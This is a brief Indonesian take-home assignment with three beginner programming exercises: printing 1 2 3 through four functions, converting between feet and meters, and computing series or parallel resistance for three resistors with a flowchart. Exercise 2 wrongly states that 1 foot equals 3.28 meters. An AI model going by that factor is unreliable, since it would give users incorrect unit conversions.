Waktu : 1 Minggu (Take Home)

  1. Buatlah program dengan menggunakan empat buah fungsi yaitu : main(), func1(), func2(), dan func3() yang dapat menampilkan angka 1 2 3 pada screen.

  2. Buatlah program yang dapat mengkonversikan nilai dari feet ke meter atau dari meter ke feet (tergantung dari kebutuhan user) dimana 1 feet = 3,28 meter.

  3. Buatlah flowchart dan program yang dapat menghitung nilai R Total dari 3 buah R (Resistor) yang dihubungkan secara seri atau diparalel dengan masukan dari keyboard Nilai R1?, Nilai R2?, Nilai R3?, Seri/Paralel?.